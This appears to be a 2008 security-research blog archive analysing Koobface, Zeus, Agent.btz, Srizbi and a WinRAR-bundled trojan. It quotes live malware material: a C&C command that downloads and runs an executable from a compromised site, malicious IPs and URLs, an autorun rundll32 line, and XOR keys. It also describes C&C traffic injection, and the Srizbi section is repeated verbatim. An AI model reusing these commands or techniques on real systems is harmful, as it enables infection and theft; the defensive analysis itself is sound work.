Wednesday, December 17, 2008
How to Defeat Koobface
As published in the previous blog post, analysis of the current version of Koobface uncovered a very interesting part about it – its "ability" to resolve CAPTCHA protection at the Facebook web site. To put it simply, if Koobface was unable to resolve Facebook’s CAPTCHA protection, it would’ve been unable replicating because in order to submit a new message, one needs to resolve CAPTCHA image first.
Every time Koobface runs into CAPTCHA protection at Facebook, it transfers that image to its command-and-control server. From there, the image is relayed to an army of CAPTCHA resolvers, who work day and night ready to pick up a new image from their profile, solve it, submit an answer, and get paid something like 0.5 cent for the answer.
You wonder if it's financially sustainable?
Think about it this way: according to the World Bank, at least 80% of humanity lives on less than $10 a day. In the same time, web resources like this one, give its users an opportunity to make that kind of money ($9) in three hours by resolving CAPTCHA images relayed to them. Don’t you think the potential army of CAPTCHA resolvers has all the reasons to grow?
Detailed analysis of traffic between Koobface and its command-and-control server allowed tapping into its communication channel and injecting various CAPTCHA images in it to assess response time and accuracy. The results are astonishing – the remote site resolved them all.
But here is a twist: uploading a large number of random CAPTCHA images into its communication channel will load its processing capacity, potentially up to a denial-of-service point. Well, if not that far, then at least it could potentially harm its business model, considering that the cost of resolving all those injected images would eventually be paid by the Koobface gang.
The tapping mechanism is best illustrated with the following scheme:
There was a tool specifically built to upload CAPTCHA images to the Kobface C&C server and receive the responses. It is available for download here (the ZIP file contains a few test images to upload).
The tool opens up an interesting "dialog" with the back-end operators, a dialog with some interesting discoveries.
At first, the response clearly looks like it was produced by automation:
As seen in this example, the automation tried to OCR the image (which contains a very specific Russian word) – it’s very unlikely that a human would have provided such answer.
Trying to submit it images with the provocative phrases had no luck either – the remote server resolves them vigorously – as if it was a bot, or maybe a smart operator instructed to reply as if he or she was a bot:
But given that no automation can presumably handle really complex images – images that are difficult even for humans to resolve, let’s try to submit with the tool the more complex ones. Here are the results:
As seen on the picture, all Facebook’s CAPTCHAs were resolved pretty well.
But here are a couple of bloopers – these images were resubmitted because the original answers were totally wrong:
Let’s see how it withstands Google’s CAPTCHAs. Here is another blooper revealed:
The wrong answers like "edtgted rghf", "edrfb dfbn", "dfgd dfg", and "asdf df" mean it was not an automation. Otherwise, it would have tried to resolve the images at least partially, or maybe provided nonsense for the noise detected in the picture or any other answer suggesting it was a bot. In the end, the wrong answers would have been at least consistent across several attempts.
These wrong answers simply mean someone was hitting the keyboard (check these keys location), giving those pictures up as too complex puzzles that require too much time/attention, in order to proceed to the easier ones.
These results could mean that the back-end CAPTCHA server has a queue of CAPTCHA images to resolve, and in front of that queue there must be an automation that firstly tries to resolve CAPTCHAs automatically, by using optic image recognition techniques. If the automation fails, it then passes the image down into the queue to be further distributed and picked up by an operator to be processed manually. Such relaying obviously has no method to oppose, as it destroys the very meaning of CAPTCHA – to distinguish a bot from a human. By having them eventually processed by humans, the only reason to keep CAPTCHA protection is to make the resolving process as expensive as 0.5 cent per image.
The question is: is it expensive enough to be justified at all? Probably, it’s expensive enough for the kids who build malware out of curiosity or self-determination (compare it with a trivial latch on your window). But it’s nothing for those guys who build malware for any kind of profit (case with Koobface) as more than likely they can afford 0.5 cent per image.
Taking the C&C down? Maybe, but it will rather pop up in a different place the very next day.
A different way of destroying it is via poisoning its traffic with the fake CAPTCHAs that look exactly as the ones that are passed by a valid Koobface worm. In this case, Koobface authors will be paying for every fake CAPTCHA resolved, the ones generated in the lab, not the real-wild-world ones.
Destroying it financially could be a better option in the end.
Friday, December 12, 2008
Zeus Config Decryptor
The banking trojan Zbot (aka WSNPOEM/Zeus/PRG) is still circulating "in-the-wild" in various modifications.
If you are tracking Zbot submissions at ThreatExpert web site, you might find useful the following tool that decrypts the contents of the configuration files downloaded by this trojan: DecodeZeusConfig.zip.
The decrypted config file will normally contain URLs of additional components it downloads along with the URLs of online banking services that it attacks and bogus HTML fields it attempts to inject into online banking login forms.
For example, analysis of the Zeus config file contents over the last week reveals the targeted URLs of the following online financial services:
- Alfa Bank (Russia)
- Ameriprise Financial Services (US)
- Banca March (Spain)
- Bancaja (Spain)
- Banco Pastor (Spain)
- Banco Popular (Spain)
- Banco Santander, S.A. (Spain)
- BANESNET S.A. (Spain)
- Banesto (Spain)
- Bank of America (US)
- Barclays Bank (UK)
- Barclays Bank, S.A. (Spain)
- Cahoot/Abbey National (UK)
- Caixa Tarragona (Spain)
- Caixanova (Spain)
- Caja Espana (Spain)
- Caja Extremadura (Spain)
- Caja Madrid (Spain)
- Caja Madrid Empresas (Spain)
- Caja Rural (Spain)
- Caja Segovia (Spain)
- Cajamurcia (Spain)
- Cajasol (Spain)
- CajaSur (Spain)
- Citibank (US)
- Citibank Deutschland Gruppe (Germany)
- Citizens Bank (US)
- Clydesdale Bank (UK)
- comdirect bank AG (Germany)
- Dresdner Bank (Germany)
- e-gold (US)
- ePassporte (Netherlands)
- E-port.Ru (Russia)
- Fibanc-Mediolanum (Spain)
- FIDUCIA IT AG (Germany)
- Fifth Third Bank (US)
- Halifax/Bank of Scotland (UK)
- HSBC Bank (UK)
- JPMorgan Chase & Co. (US)
- KeyCorp (US)
- Kutxa, Caja Gipuzkoa San Sebastian (Spain)
- La Caja de Canarias (Spain)
- Lloyds TSB (UK)
- MDM Bank (Russia)
- MoneyMail.Ru (Russia)
- National City Bank (US)
- norisbank GmbH (Germany)
- PayPal, Inc. (US)
- RBK Money (Russia)
- SunTrust Bank (US)
- TD Group Financial Services (Canada)
- U.S. Bank (US)
- Unicaja (Spain)
- Volksbank Rhein-Wupper eG (Germany)
- VR-NetWorld eBanking (Germany)
- Wachovia Securities (US)
- Washington Mutual, Inc. (US)
- Wells Fargo Bank (US)
- Westpac Banking Corporation (Australia)
- Yorkshire Bank (UK)
Thursday, December 11, 2008
Intervalhehehe
According to multiple forum posts, there are a number of people who seem to be infected with a mysterious virus that pops up every 10 minutes or so and displays a message "Intervalhehehe".
This threat is most likely distributed as a cracked version of the popular software WinRAR. Its file is a WinRAR self-extractor (report here) that unpacks and runs WinRAR installer itself, plus a file named explore.exe, which is a trojan horse.
The trojan modifies hosts file to redirect users from google.com, yahoo.com and other legitimate sites into the websites hosted at 61.157.217.210, 123.251.143.110, and 123.16.197.121 and being used to distribute rogue antivirus and antispyware solutions:
This trojan is a Visual Basic program built on a Chinese system.
In some way (mostly in its annoyance, of course) it reminds an old DOS-era virus "Skaji Bebe - Fig Tebe".
Tuesday, December 9, 2008
Koobface Leaves Victims the Black Spot
Koobface worm has already been described enough, but a few details about its functionality can still be interesting to the reader. This post is an attempt to crack it to the bottom.
TECHNICAL SUMMARY
Koobface starts from checking if its own file name is %windows%\bolivar[number].exe, where [number] is a decimal number that depends on the build of the worm.
If its file name is not %windows%\bolivar[number].exe, it will copy itself under that name, run that file, drop a temporary batch file (e.g. c:\653ad216543.bat) with the commands to delete its own executable (it can't delete itself while it's running), and quit.
When it runs as %windows%\bolivar[number].exe, it will create the mutex object "4334dfgdfgdf5" in order to make sure that there is only one instance of Koobface running on the system.
It then returns the handle to the foreground window (the window with which the user is currently working) and check if that window is Internet Explorer. If that's the case, it will create an object that will be an invisible instance of Internet Explorer. It will then use that object to navigate across Facebook site and parse its contents.
The worm drops and runs file c:\1.reg in order to create the values:
CLSID"="{25336920-03F9-11cf-8FD0-00AA00686F13}
Extension"=".xml
Encoding"=hex:08,00,00,00
in the registry key:
HKEY_CLASSES_ROOT\Mime\Database\Content Type\application/xhtml+xml
These registry modifications will force Internet Explorer to display application/xhtml+xml MIME type pages without a download prompt.
Koobface retrieves the default system directory for storing cookies by querying the value "Cookies" from the registry key:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Next, it enumerates all cookies looking for the ones created by facebook.com, myspace.com, and bebo.com websites.
Koobface then makes a DNS query to find out what IP address corresponds to the name y171108.com. For different variants this domain name is different, but its format appears to be constant: [letter][date].com, e.g. a22092008.com, f071108.com, z13092008.com.
The name server replies the DNS request with an IP 58.241.255.37:
This IP address is the command and control (C&C) server for Koobface - it accepts data that Koobface collects on a compromised host and replies back instructions of what Koobface should do.
The collected data is delivered by Koobface in the POST request submitted to /fb/first.php resource of C&C server. The POST string is assembled from the parameters - like these:
f=0&a=13441600&v=28&c=0&s=fb&l=&ck=0&c_fb=0&c_ms=0&c_hi=0&c_be=0&c_fr=0&c_yb=0
For example, "ck" parameter is equal to "0" if Koobface could not find facebook.com cookie, or "1" if the cookie was found.
BACKDOOR COMMANDS
The C&C returns back instructions that may depend on the data that Koobface delivers to the C&C server - these can be considered backdoor commands which also makes Koobface a backdoor trojan.
Some of the commands that Koobface can be instructed to perform are listed below:
- FBTARGETPERPOST
- TINYURL
- SHARELINK
- MPOST
- INVITE
- PARAMS
- SWFMODE
- UPDATE
- RESET
- WAIT
- START
- STARTIMG
- DOMAIN_B
- TITLE_B
- TEXT_B
- LINKTEXT_B
- DOMAIN_M
- TITLE_M
- TEXT_M
- LINKTEXT_M
- LINK_M
- DOMAIN_C
- TEXT_C
- LINKTEXT_C
- STARTONCEIMG
- EXIT
START|http://www.teamtga.com/images/games/gif/tinyproxy23.exe
RESET
FBTARGETPERPOST|20
#BLACKLABEL
The first command is START - Koobface will perform it this way:
- it will create a temporary file c:\tmark25[random_number].dat
- it will then download an executable file from the specified URL saving it as the temporary file
- it will then copy that file as %temp%\tt_[random_number].exe, then run it
The aforementioned executable will be downloaded either from www.teamtga.com or from www.gameland.ro - according to the parameter returned at the time of this writing. A couple of days ago this was www.aibcvienna.org. A few hours from now it could be a different URL.
The C&C must have an updatable database of compromised web servers from which the Koobface client will be instructed to download and run executables. Once one compromised site is cleaned or taken down, the C&C database will be updated to feed a different URL to its clients.
On RESET command, Koobface will delete the temporary files and re-start its workflow.
On STARTIMG command, it will download a file from the specified URL, save it as c:\tmark25[random_number].dat, decrypt it, parse the decrypted contents, locate URL inside it, then download an executable from that URL, save it as %temp%\tt_[random_number].exe, and finally run that executable.
On UPDATE command, the worm will download an updated build from the specified URL, save it as %temp%\tt_[random_number].exe, run it and quit.
On EXIT, it will simply quit.
Other commands may specify additional global parameters or modes.
REPLICATION
Before it continues, Koobface makes a final query to its C&C server's resource achcheck.php.
If the server responds ACH_OK, the worm goes ahead.
The user-agent string that identifies the client browser is set by Koobface to:
User-Agent: Mozilla/5.01 (Windows; U; Windows NT 5.2; ru; rv:1.9.0.1) Gecko/20040201 Firefox/3.0.3
The user-agent language tag, that indicates the language for which the client had been localized, is "ru": Russian.
This explains #BLACKLABEL token returned by the C&C server - it's the result of translation of The Black Spot term (from the novel Treasure Island by Robert Louis Stevenson) into Russian, and then back into English.
Once the victim is "given the Black Spot", Koobface locates the cookie left by facebook.com in the cookie cache, then reads it and uses its contents to connect to Facebook website.
For example, if the cookie's contents starts from:
datr
1228869768-5ed159061fd5727f027e6c6678531c19ef53163bfe7ebcbb0203b
facebook.com/
9216
832238592
...
then the GET request submitted by Koobface will look like shown below (check the "datr" value - it is taken from the cookie):
This allows Koobface to connect to Facebook account by using current user's login session. Thus, it does not need to know user's login credentials. As long as the user stays connected to the Facebook account, the worm freely accesses it as if it was the user.
Once connected, the worm opens up several Facebook resources such as home.php, profile.php, group.php. It navigates to the page http://www.facebook.com/friends/?view=everyone in order to obtain the list of the user's friends.
If it locates a friend, it submits a POST request to its C&C server's resource /fb/gen.php. The POST request contains details similar to the ones below:
f=0&a=13441600&v=28&c=0&s=fb&l=&hav=&hname=[encrypted_string]
The C&C server responds the following parameters:
TITLE_M|Cool nice video with you.
TEXT_M|LOL
LINK_M|http://geocities.com/carlosbecker54/?4bchce6c9a=1851a448d70904485af377d941bca0f4
These parameters is a template for a new message that Koobface should send to the contacts. It then navigates to the page /inbox/?compose within Facebook website, composes a new message and submits it from the user's name:
Before the message is dispatched, Facebook returns CAPTCHA challenge to resolve. This security measure is implemented to protect users from threats like Koobface.
In the real test, Facebook.com asked the Koobface to resolve the CAPTCHA image that reads "suffer accorn" - this image was pretty noisy for image recognition algorithms to resolve it successfully. But Koobface does not attempt to resolve it by itself. It submits this image to its C&C server. The server replies correct answer in about 34 seconds. Once the answer is received, Koobface submits the message via Facebook's compromised account including correct CAPTCHA answer:
PUTTING IT TO A REAL TEST
In order to test Koobface replication in action, there were 2 fake accounts created: "Eno Koob Acef" and "Owt Koob Acef" ("Face Book One" and "Face Book Two" reversed). Both accounts were mutually declared as friends.
If the computer logged on to the second account is compromised with Koobface, the worm will use its login session, it will locate "Eno Koob Acef" as its friend, and it will send it a message.
The image below shows the inbox of the first account ("Eno Koob Acef") - it contains a new message from the 2nd account ("Owt Koob Acef") with the subject "Cool nice video with you."
When the user clicks the new message link, Facebook.com will open that message:
The message contains a URL that points to a private page hosted at geocities.com web site. When that link is clicked, the browser will redirect the message recipient to the following page:
The page has a header "Secret video by [infected_user_name] - Flash Player Installation". It even has fake testimonials. The page suggests installing a newer version of Flash Player, which of course is not a Flash Player. It's a file called flash_update.exe, and it's a new copy of Koobface. If the Facebook user runs it thinking it's a Flash Player update, the worm will now replicate to this user's friends the same manner it did before, and so on, and so on.
CONCLUSION
At one point of its execution, Koobface submitted GET request to facebook.com:
/campaign/impression.php?campaign_id=[long_number]
The purpose of this request is not quite clear. It might potentially be related to some advertising program within Facebook (e.g. similar to Google AdSense), but this is a guess...
Nevertheless, if it's about the money generated by clicking ads by Koobface, the ads that are allocated by Facebook within other peoples' profiles, then its business model becomes more evident. It may even potentially include manual labor in breaking the CAPTCHAs (it's not free) - at least it explains a 34 seconds inter-server delay in solving it.
Monday, December 8, 2008
Escort Agency Serves Naughty Trojan
This summary is not available. Please
click here to view the post.
Wednesday, December 3, 2008
Beware Christmas Promotions From Coca Cola
A new mass-mailing worm is making its rounds by promoting a Hallmark e-Card, McDonald’s Coupon, or Coca Cola Christmas Promotion.
Full worm description (manual analysis) is provided here.
Automated threat analysis generated this write-up.
ThreatExpert automation tricked this threat with several intentionally implanted fake email contacts (such as Rusty Carr, Easton West, Justin Case and others). As soon as this threat picked up one of those contacts and attempted to submit an email to that person via the ThreatExpert’s emulated network services (with no traffic ever leaving the sandbox), it was immediately classified as mass-mailer.
Full worm description (manual analysis) is provided here.
Automated threat analysis generated this write-up.
ThreatExpert automation tricked this threat with several intentionally implanted fake email contacts (such as Rusty Carr, Easton West, Justin Case and others). As soon as this threat picked up one of those contacts and attempted to submit an email to that person via the ThreatExpert’s emulated network services (with no traffic ever leaving the sandbox), it was immediately classified as mass-mailer.
Sunday, November 30, 2008
Agent.btz - A Threat That Hit Pentagon
According to this publication, the senior military leaders reported the malware breach incident that affected the U.S. Central Command network, including computers both in the headquarters and in the combat zones.
The threat involved into this incident is referred as Agent.btz. This is a classification from F-Secure. Other vendors name this threat mostly as Autorun. Some of the aliases assigned to this threat might seem confusing. There is even a clash with another threat that is also detected as Agent.btz by another vendor – but that's a totally different threat with different functionality. This post is about F-Secure-classified Agent.btz – the one that was involved into the aforementioned incident.
At the time of this writing, ThreatExpert system has received and processed several different samples of this threat – further referred as Agent.btz. All these builds exhibit common functionality.
Agent.btz is a DLL file. When loaded, its exported function DllEntryPoint() will be called automatically. Another exported function of this DLL, InstallM(),is called during the initial infection stage, via a command-line parameter for the system file rundll32.exe.
Infection Vector
The infection normally occurs via a removable disk such as thumb drive (USB stick) or any other external hard drive. Once a removable disk is connected to a computer infected with Agent.btz, the active malware will detect a newly recognized drive. It will drop its copy on it and it will create autorun.inf file with an instruction to run that file. When a clean computer recognizes a newly connected removable drive, it will (by default) detect autorun.inf file on it, it will then open it and follow its instruction to load the malware.
Another infection vector: when a clean computer attempts to map a drive letter to a shared network resource that has Agent.atz on it and the corresponding autorun.inf file, it will (by default) open autorun.inf file and follow its instruction to load the malware. Once infected, it will do the same with other removable drives connected to it or other computers in the network that attempt to map a drive letter to its shared drive infected with Agent.atz – hence, the replication.
The autorun.inf file it creates contains the following command to run rundll32.exe:
rundll32.exe .\\[random_name].dll,InstallM
Functionality
When Agent.btz DLL is loaded, it will decrypt some of the strings inside its body. Agent.btz file is not packed. The strings it decrypts are mostly filenames, API names, registry entries, etc.
After decrypting its strings, Agent.btz dynamically retrieves function pointers to the following kernel32.dll APIs: WriteProcessMemory(), VirtualAllocEx(), VirtualProtectEx(). It will need these APIs later to inject malicious code into Internet Explorer process.
Agent.btz spawns several threads and registers window class "zQWwe2esf34356d".
The first thread will try to query several parameters from the values under the registry key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\StrtdCfg
Some of these parameters contain such details as time out periods, flags, or the name of the domain from which the additional components can be downloaded.
The first thread will spawn 2 additional threads. One of them will wait for 5 minutes, and then it will attempt to download an encrypted binary from the domain specified in the parameters.
For example, it may attempt to download the binaries from these locations:
http://biznews.podzone.org/update/img0008/[random digits].jpg
or
http://worldnews.ath.cx/update/img0008/[random digits].jpg
The downloaded binary will be saved under the file name $1F.dll into the temporary directory.
Once the binary is saved, Agent.btz signals its threads with "wowmgr_is_loaded" event, saves new parameters into the registry values under the key "StrtdCfg", loads Internet Explorer process, decrypts the contents of the downloaded binary, injects it into the address space of Internet Explorer and then spawn a remote thread in it.
At the time of this writing the contents of the binary is unknown as the links above are down. Thus, it’s not known what kind of code could have been injected into the browser process. The only assumption can be made here is that the remote thread was spawned inside Internet Explorer process in order to bypass firewalls in its attempt to communicate with the remote server.
Installation
Agent.btz drops its copy into %system% directory by using a random name constructed from the parts of the names of the DLL files located in the %system% directory.
It registers itself as an in-process server to have its DLL loaded with the system process explorer.exe. The CLSID for the in-process server is also random - it is produced by UuidCreate() API.
This threat may also store some of its parameters by saving them into the values nParam, rParam or id under the system registry key below:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashImage
On top of that, Agent.btz carries some of its parameters in its own body – stored as an encrypted resource named CONFIG. Agent.btz locates this resource by looking for a marker 0xAA45F6F9 in its memory map.
File wmcache.nld
The second spawned thread will wait for 10 seconds. Then, it’ll save its parameters and some system information it obtains in an XML file %system%\wmcache.nld.
The contents of this file is encoded by XOR-ing it with the following mask:
1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f5cvd0fk6c1a0s
Below is the decoded fragment of the XML file, provided as example:
<?xml version="1.0" encoding="unicode"?>
<Cfg>
<Ch>
<add key="Id" value="3024688254" />
<add key="PVer" value="Ch 1.5" />
<add key="Folder" value="img0008" />
<add key="Time" value="29:11:2008 18:44:46" />
<add key="Bias" value="4294967285" />
<add key="PcName" value="%ComputerName%" />
<add key="UserName" value="%UserName%" />
<add key="WinDir" value="%windir%" />
<add key="TempDir" value="%temp%" />
<add key="WorkDir" value="%system32%" />
<add key="Cndr" value="0" />
<add key="List" value="">
<add key=" 0" value="2" />
</add>
<add key="NList" value="">
</add>
</Ch>
...
</Cfg>
Besides the basic system information above, Agent.btz contains the code that calls GetAdaptersInfo() and GetPerAdapterInfo() APIs in order to query network adapter’s IP and MAC address, IP addresses of the network adapter’s default gateway, primary/secondary WINS, DHCP and DNS servers. The collected network details are also saved into the log file.
File winview.ocx
The second spawned thread will log threat activity into the file %system32%\winview.ocx.
This file is also encrypted with the same XOR mask. Here is the decrypted example contents of that file:
18:44:44 29.11.2008 Log begin:
18:44:44 Installing to C:\WINDOWS\system32\[random_name].dll
18:44:44 Copying c:\windows\system32\[threat_file_name].dll to C:\WINDOWS\system32\[random_name].dll (0)
18:44:44 ID: {7761F912-4D09-4F09-B7AF-95F4173120A6}
18:44:44 Creating Software\Classes\CLSID\{7761F912-4D09-4F09-B7AF-95F4173120A6}
18:44:44 Creating Software\Classes\CLSID\{7761F912-4D09-4F09-B7AF-95F4173120A6}\InprocServer32\
18:44:44 Set Value C:\WINDOWS\system32\[random_name].dll
18:44:44 Creating SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\
18:44:44 Native Id: 00CD1A40
18:44:44 Log end.
The thread will be saving its parameters and system information into the aforementioned encrypted XML file in the loop – once in every 24 hours.
File mswmpdat.tlb
The original thread will then attempt to start 2 processes: tapi32d.exe and typecli.exe – these attempts are logged. Whenever Agent.btz detects a newly connected removable disk, it will also log the device details into the same log file %system%\mswmpdat.tlb.
The contents of this log file is encrypted the same way – here is the decrypted fragment of it:
18:44:45 29.11.2008 Log begin:
18:44:45 Creating ps C:\WINDOWS\system32\tapi32d.exe (2)
18:44:45 Creating ps C:\WINDOWS\system32\typecli.exe (2)
18:44:45 Log end.
19:02:48 29.11.2008 Log begin:
19:02:49 Media arrived: "D:" Label:"" FS:FAT SN:00000000
19:02:49 Log end.
It is not clear what these 2 files are: tapi32d.exe and typecli.exe - the analyzed code does not create them. It is possible however that the missing link is in the unknown code it injects into Internet Explorer which can potentially download those files.
Files thumb.db
When Agent.btz detects a new drive of the type DRIVE_REMOVABLE (a disk that can be removed from the drive), it attempts to create a copy of the file %system%\1055cf76.tmp in the root directory of that drive as thumb.db.
In opposite, if the newly connected drive already contains file thumb.db, Agent.btz will create a copy of that file in the %system% directory under the same name. It will then run %system%\thumb.db as if it was an executable file and then delete the original thumb.db from the connected drive.
The analyzed code does not create 1055cf76.tmp, but if it was an executable file downloaded by the code injected into Internet Explorer (as explained above), then it would have been passed into other computers under the name thumb.db. Note: an attempt to run a valid thumb.db file, which is an OLE-type container has no effect.
Files thumb.dd and mssysmgr.ocx
Agent.btz is capable to create a binary file thumb.dd on a newly connected drive. The contents of this file starts from the marker 0xAAFF1290 and is followed with the individual CAB archives of the files winview.ocx (installation log), mswmpdat.tlb (activity log), and wmcache.nld (XML file with system information).
When Agent.btz detects a new drive with the file thumb.dd on it (system info and logs collected from another computer), it will copy that file as %system%\mssysmgr.ocx.
This way, the locally created files do not only contain system and network information collected from the local host, but from other compromised host (or hosts) as well.
Friday, November 28, 2008
Srizbi's Domain Calculator
This write-up is a follow-up to an excellent research conducted by Julia Wolf from FireEye that gives an insight into the algorithm used by Srizbi bot to calculate the domain name of its controller.
A general ability to predict what domain names could be used by any given variant of Srizbi at any given date could potentially lead to blocking those domains from registration so that the authors of Srizbi would be left out of control of their botnet.
Considering the number of variants of Srizbi and the complexity of its obfuscation technique used by its kernel mode driver, it'd be nice to have a helper tool to get the domain list quicker – so let's get to business.
As Julia mentioned in her post, FireEye analyzed hundreds of Srizbi samples and came up with 55 different "magic numbers" used by all those samples.
That "magic number" is a 4-byte value, which can be considered a unique key for every Srizbi botmaster, a buyer of Srizbi kit, or just a unique key for every new release of Srizbi generation/build, depending on its business model. Every key will produce a different set of domain names. Thus, it allows one botmaster with one key to keep his Srizbi segment independent from the segments controlled by other botmasters.
It's not clear yet if the domain generation algorithm itself varies from one generation to another. For simplicity, let's assume that the algorithm stays the same.
If the algorithm is consistent, it means that it can be replicated in the form of a domain name calculator. All it would have to take on its input is a key (the "magic number") and it would then generate on its output all possible domain names for the different dates – the same way the real Srizbi sample does if it has the same key.
Before we go into the calculation algorithm itself, let's refresh a few approaches that might help to obtain the key from a given Srizbi sample.
Srizbi infection starts from a dropper that creates and then loads a kernel mode driver. As its pretty common these days, the driver uses severely obfuscated code – if you choose to debug it, then it might be a long-long way to get it anywhere near. Once loaded, the driver hides its own file and the associated registry entries via a set of hooks in the kernel structures. For start, it could be easier to run the dropper in the virtual environment of your choice and then locate and dump its driver from kernel memory.
The following image demonstrates how the Rootkit Unhooker tool can be used to locate and dump Srizbi driver (it fails to copy the file because of the hooks).
Please note that Srizbi driver can be found by its name (2-3 random letters, followed by 2 random digits, followed by "sys") and by filesize (about 350Kb).
The dumped driver can now be loaded into the disassembler. It might help to load it as a binary file (not a PE-file) with the loading offset specified as the base address reported by Rootkit Unhooker (e.g. 0xF9686000).
Once the dump is loaded and disassembled, its domain generation algorithm can now be found easily - it's not obfuscated anymore as the driver has deobfuscated itself already.
In order to comment those variable pointers that have their addresses outside the dump, it might help to get back to Rootkit Unhooker and dump relevant memory region as shown below:
On the picture above, an unknown pointer at the address 0xF789C82C in the listing contains the value 0x817863B0 – that address is beyond the scope of the driver dump (it was populated during run-time). By dumping the 32Mb memory region from kernel starting from 0x80000000, and loading it into a hex-viewer, the dump file contents can now be referenced by file offset, e.g. by going to its offset at 0x017863B0 one would clearly see a string "qwerty.." at that offset, thus the string pointer in the assembler listing can now be renamed into a meaningful alias.
Note: the double frame in the picture above indicates the key ("magic number") we’re after.
Having full domain generation algorithm at hand, it can now be copy-pasted into a newly created VC++ project with inline assembler code.
This new code can now be compiled and run in order to generate domain names the same way Srizbi does. The benefit it provides is that it can conveniently be stepped through and studied, it can be modified to use different parameters such as dates and the key itself.
Full source code of such calculator is provided here. It can be compiled with any VC++ builder (from 6.0 and up).
When run, the calculator will generate domain names for all dates in 2008 and 2009. The user of this code can then extend the dates or replace the hard-coded key with a variable controlled by a command-line switch.
Now, let's have a look at the partial listing produced by the tool.
Since 25 till 27 November 2008, there are 4 generated domain names:
Let's take a random date in the future – e.g. 15 December 2008. For that date, the domain names in the listing are:
All we have to do now is to black-box Srizbi with the active sniffer on to see what DNS queries it generates in reality.
System date: 27 November 2008:
System date: 15 December 2008:
For both dates the results are consistent with the tool.
It is interesting that the domain name yqsqsqyg.com is already registered to:
Registrant:
Ulugbek Asatopov
Bestekar sokak, 29
ka, 06080
Ankara, AN ---
TR
+9 312 419 90 01
Domain Name: YQSQSQYG.COM
Record last updated 11-27-2008 06:32:39 PM
Record expires on 11-24-2009
Record created on 11-24-2008
Domain servers in listed order:
NS0.DIRECTNIC.COM 69.46.233.245
NS1.DIRECTNIC.COM 69.46.234.245
Thus, someone has registered the domain one day before all Srizbi bots with the same key (which could be an entire segment of Srizbi) started querying it for new SPAM templates. The domain record was last updated on 27 November - the last day when Srizbi bots were still using this domain name. Compelling accuracy, isn't it?
A general ability to predict what domain names could be used by any given variant of Srizbi at any given date could potentially lead to blocking those domains from registration so that the authors of Srizbi would be left out of control of their botnet.
Considering the number of variants of Srizbi and the complexity of its obfuscation technique used by its kernel mode driver, it'd be nice to have a helper tool to get the domain list quicker – so let's get to business.
As Julia mentioned in her post, FireEye analyzed hundreds of Srizbi samples and came up with 55 different "magic numbers" used by all those samples.
That "magic number" is a 4-byte value, which can be considered a unique key for every Srizbi botmaster, a buyer of Srizbi kit, or just a unique key for every new release of Srizbi generation/build, depending on its business model. Every key will produce a different set of domain names. Thus, it allows one botmaster with one key to keep his Srizbi segment independent from the segments controlled by other botmasters.
It's not clear yet if the domain generation algorithm itself varies from one generation to another. For simplicity, let's assume that the algorithm stays the same.
If the algorithm is consistent, it means that it can be replicated in the form of a domain name calculator. All it would have to take on its input is a key (the "magic number") and it would then generate on its output all possible domain names for the different dates – the same way the real Srizbi sample does if it has the same key.
Before we go into the calculation algorithm itself, let's refresh a few approaches that might help to obtain the key from a given Srizbi sample.
Srizbi infection starts from a dropper that creates and then loads a kernel mode driver. As its pretty common these days, the driver uses severely obfuscated code – if you choose to debug it, then it might be a long-long way to get it anywhere near. Once loaded, the driver hides its own file and the associated registry entries via a set of hooks in the kernel structures. For start, it could be easier to run the dropper in the virtual environment of your choice and then locate and dump its driver from kernel memory.
The following image demonstrates how the Rootkit Unhooker tool can be used to locate and dump Srizbi driver (it fails to copy the file because of the hooks).
Please note that Srizbi driver can be found by its name (2-3 random letters, followed by 2 random digits, followed by "sys") and by filesize (about 350Kb).
The dumped driver can now be loaded into the disassembler. It might help to load it as a binary file (not a PE-file) with the loading offset specified as the base address reported by Rootkit Unhooker (e.g. 0xF9686000).
Once the dump is loaded and disassembled, its domain generation algorithm can now be found easily - it's not obfuscated anymore as the driver has deobfuscated itself already.
In order to comment those variable pointers that have their addresses outside the dump, it might help to get back to Rootkit Unhooker and dump relevant memory region as shown below:
On the picture above, an unknown pointer at the address 0xF789C82C in the listing contains the value 0x817863B0 – that address is beyond the scope of the driver dump (it was populated during run-time). By dumping the 32Mb memory region from kernel starting from 0x80000000, and loading it into a hex-viewer, the dump file contents can now be referenced by file offset, e.g. by going to its offset at 0x017863B0 one would clearly see a string "qwerty.." at that offset, thus the string pointer in the assembler listing can now be renamed into a meaningful alias.
Note: the double frame in the picture above indicates the key ("magic number") we’re after.
Having full domain generation algorithm at hand, it can now be copy-pasted into a newly created VC++ project with inline assembler code.
This new code can now be compiled and run in order to generate domain names the same way Srizbi does. The benefit it provides is that it can conveniently be stepped through and studied, it can be modified to use different parameters such as dates and the key itself.
Full source code of such calculator is provided here. It can be compiled with any VC++ builder (from 6.0 and up).
When run, the calculator will generate domain names for all dates in 2008 and 2009. The user of this code can then extend the dates or replace the hard-coded key with a variable controlled by a command-line switch.
Now, let's have a look at the partial listing produced by the tool.
Since 25 till 27 November 2008, there are 4 generated domain names:
- yqsqsqyg.com
- aqiqiqaf.com
- qqrqrqqd.com
- yqgqgqys.com
Let's take a random date in the future – e.g. 15 December 2008. For that date, the domain names in the listing are:
- aqueufor.com
- yqdtdswu.com
- qqrurppp.com
- aqpopied.com
All we have to do now is to black-box Srizbi with the active sniffer on to see what DNS queries it generates in reality.
System date: 27 November 2008:
System date: 15 December 2008:
For both dates the results are consistent with the tool.
It is interesting that the domain name yqsqsqyg.com is already registered to:
Registrant:
Ulugbek Asatopov
Bestekar sokak, 29
ka, 06080
Ankara, AN ---
TR
+9 312 419 90 01
Domain Name: YQSQSQYG.COM
Record last updated 11-27-2008 06:32:39 PM
Record expires on 11-24-2009
Record created on 11-24-2008
Domain servers in listed order:
NS0.DIRECTNIC.COM 69.46.233.245
NS1.DIRECTNIC.COM 69.46.234.245
Thus, someone has registered the domain one day before all Srizbi bots with the same key (which could be an entire segment of Srizbi) started querying it for new SPAM templates. The domain record was last updated on 27 November - the last day when Srizbi bots were still using this domain name. Compelling accuracy, isn't it?
Thursday, November 20, 2008
Monday, November 17, 2008
McColo - Who Was Behind It?
